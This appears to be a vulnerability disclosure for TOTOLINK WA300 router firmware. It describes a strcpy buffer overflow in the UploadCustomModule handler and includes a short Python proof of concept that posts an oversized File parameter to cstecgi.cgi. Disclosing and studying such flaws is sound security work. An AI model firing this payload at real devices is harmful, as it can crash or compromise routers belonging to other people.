Overview

• Manufacturer's website information：https://www.totolink.net/
• Firmware download address ：https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/135/ids/36.html

Affected version

WA300 V5.2cu.7112_B20190227

Vulnerability details

In the WA300 V5.2cu.7112_B20190227 firmware has a buffer overflow vulnerability in the UploadCustomModule function. The v9 variable receives the File parameter from a POST request. However, since the user can control the input of File, the strcpy(v18, v9); can cause a buffer overflow vulnerability.

POC

import requests
url = "<http://127.0.0.1/cgi-bin/cstecgi.cgi>"
cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {"File":"a"*300000,"topicurl":"UploadCustomModule"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)